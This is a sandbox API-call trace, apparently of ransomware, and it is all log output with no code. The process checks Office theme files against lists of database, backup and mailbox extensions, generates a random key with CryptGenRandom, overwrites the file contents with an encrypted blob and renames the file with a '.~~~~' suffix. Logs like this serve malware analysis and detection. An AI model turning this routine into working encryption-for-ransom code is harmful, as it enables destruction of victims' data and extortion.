	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".MDT") returned 0x0
	[0084.453] lstrlenW (lpString=".SQB") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".SQB") returned 0x0
	[0084.453] lstrlenW (lpString=".vhd") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".vhd") returned 0x0
	[0084.453] lstrlenW (lpString=".bac") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".bac") returned 0x0
	[0084.453] lstrlenW (lpString=".mdf") returned 4
	[0084.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".mdf") returned 0x0
	[0084.454] lstrlenW (lpString=".BAK") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".BAK") returned 0x0
	[0084.454] lstrlenW (lpString=".BAC") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".BAC") returned 0x0
	[0084.454] lstrlenW (lpString=".dbs") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dbs") returned 0x0
	[0084.454] lstrlenW (lpString=".vhdx") returned 5
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".vhdx") returned 0x0
	[0084.454] lstrlenW (lpString=".NDF") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".NDF") returned 0x0
	[0084.454] lstrlenW (lpString=".dat") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dat") returned 0x0
	[0084.454] lstrlenW (lpString=".DBS") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DBS") returned 0x0
	[0084.454] lstrlenW (lpString=".CKP") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".CKP") returned 0x0
	[0084.454] lstrlenW (lpString=".edb") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".edb") returned 0x0
	[0084.454] lstrlenW (lpString=".PST") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".PST") returned 0x0
	[0084.454] lstrlenW (lpString=".dbf") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dbf") returned 0x0
	[0084.454] lstrlenW (lpString=".SQL") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".SQL") returned 0x0
	[0084.454] lstrlenW (lpString=".pst") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".pst") returned 0x0
	[0084.454] lstrlenW (lpString=".dbv") returned 4
	[0084.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dbv") returned 0x0
	[0084.454] lstrlenW (lpString=".SDF") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".SDF") returned 0x0
	[0084.455] lstrlenW (lpString=".dtxs") returned 5
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dtxs") returned 0x0
	[0084.455] lstrlenW (lpString=".db3") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".db3") returned 0x0
	[0084.455] lstrlenW (lpString=".OST") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".OST") returned 0x0
	[0084.455] lstrlenW (lpString=".dbx") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dbx") returned 0x0
	[0084.455] lstrlenW (lpString=".DB3") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DB3") returned 0x0
	[0084.455] lstrlenW (lpString=".DAT") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DAT") returned 0x0
	[0084.455] lstrlenW (lpString=".VHDX") returned 5
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".VHDX") returned 0x0
	[0084.455] lstrlenW (lpString=".ndf") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".ndf") returned 0x0
	[0084.455] lstrlenW (lpString=".DB") returned 3
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DB") returned 0x0
	[0084.455] lstrlenW (lpString=".sql") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".sql") returned 0x0
	[0084.455] lstrlenW (lpString=".MYD") returned 4
	[0084.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".MYD") returned 0x0
	[0084.455] lstrlenW (lpString=".DBT") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DBT") returned 0x0
	[0084.456] lstrlenW (lpString=".ACCDB") returned 6
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".ACCDB") returned 0x0
	[0084.456] lstrlenW (lpString=".fdb") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".fdb") returned 0x0
	[0084.456] lstrlenW (lpString=".bak") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".bak") returned 0x0
	[0084.456] lstrlenW (lpString=".myd") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".myd") returned 0x0
	[0084.456] lstrlenW (lpString=".DTXS") returned 5
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".DTXS") returned 0x0
	[0084.456] lstrlenW (lpString=".ckp") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".ckp") returned 0x0
	[0084.456] lstrlenW (lpString=".dbt") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".dbt") returned 0x0
	[0084.456] lstrlenW (lpString=".db") returned 3
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".db") returned 0x0
	[0084.456] lstrlenW (lpString=".TXT") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".TXT") returned 0x0
	[0084.456] lstrlenW (lpString=".MDF") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".MDF") returned 0x0
	[0084.456] lstrlenW (lpString=".bdb") returned 4
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".bdb") returned 0x0
	[0084.456] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.457] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.458] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.458] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.458] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20444784972) returned 1
	[0084.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c2cae70, dwHighDateTime=0x1d60e1e)) 
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2790
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2790 | out: hHeap=0x300000) returned 1
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808480
	[0084.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28431c8
	[0084.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0084.458] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.458] GetLastError () returned 0x0
	[0084.459] GetLastError () returned 0x0
	[0084.459] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.459] GetLastError () returned 0x0
	[0084.459] GetLastError () returned 0x0
	[0084.460] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffddd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.460] WriteFile (in: hFile=0x11c, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x223, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x223, lpOverlapped=0x0) returned 1
	[0084.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.460] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.460] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.460] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.460] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.460] CloseHandle (hObject=0x11c) returned 1
	[0084.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0084.461] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.~~~~")) returned 1
	[0084.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fa20 | out: hHeap=0x300000) returned 1
	[0084.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.461] GetLastError () returned 0x0
	[0084.461] RtlWakeConditionVariable () returned 0x365f70
	[0084.461] GetCurrentThreadId () returned 0x9cc
	[0084.461] GetCurrentThreadId () returned 0x9cc
	[0084.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808918 | out: hHeap=0x300000) returned 1
	[0084.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a27c8 | out: hHeap=0x300000) returned 1
	[0084.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808918
	[0084.462] lstrlenW (lpString=".scr") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.462] lstrlenW (lpString=".cmd") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.462] lstrlenW (lpString=".dll") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.462] lstrlenW (lpString=".bat") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.462] lstrlenW (lpString=".cpl") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.462] lstrlenW (lpString=".sys") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.462] lstrlenW (lpString=".msc") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.462] lstrlenW (lpString=".com") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.462] lstrlenW (lpString=".lnk") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.462] lstrlenW (lpString=".msp") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.462] lstrlenW (lpString=".pif") returned 4
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.462] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.463] lstrlenW (lpString=".sqb") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.463] lstrlenW (lpString=".ost") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.463] lstrlenW (lpString=".txt") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.463] lstrlenW (lpString=".mdt") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.463] lstrlenW (lpString=".BDB") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.463] lstrlenW (lpString=".eql") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.463] lstrlenW (lpString=".DBF") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.463] lstrlenW (lpString=".EQL") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.463] lstrlenW (lpString=".FDB") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.463] lstrlenW (lpString=".EDB") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.463] lstrlenW (lpString=".DACPAC") returned 7
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.463] lstrlenW (lpString=".VHD") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.463] lstrlenW (lpString=".DBV") returned 4
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.463] lstrlenW (lpString=".dacpac") returned 7
	[0084.463] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.463] lstrlenW (lpString=".sdf") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.464] lstrlenW (lpString=".accdb") returned 6
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.464] lstrlenW (lpString=".DBX") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.464] lstrlenW (lpString=".MDT") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.464] lstrlenW (lpString=".SQB") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.464] lstrlenW (lpString=".vhd") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.464] lstrlenW (lpString=".bac") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.464] lstrlenW (lpString=".mdf") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.464] lstrlenW (lpString=".BAK") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.464] lstrlenW (lpString=".BAC") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.464] lstrlenW (lpString=".dbs") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.464] lstrlenW (lpString=".vhdx") returned 5
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.464] lstrlenW (lpString=".NDF") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.464] lstrlenW (lpString=".dat") returned 4
	[0084.464] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.464] lstrlenW (lpString=".DBS") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.465] lstrlenW (lpString=".CKP") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.465] lstrlenW (lpString=".edb") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.465] lstrlenW (lpString=".PST") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.465] lstrlenW (lpString=".dbf") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.465] lstrlenW (lpString=".SQL") returned 4
	[0084.465] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.465] lstrlenW (lpString=".pst") returned 4
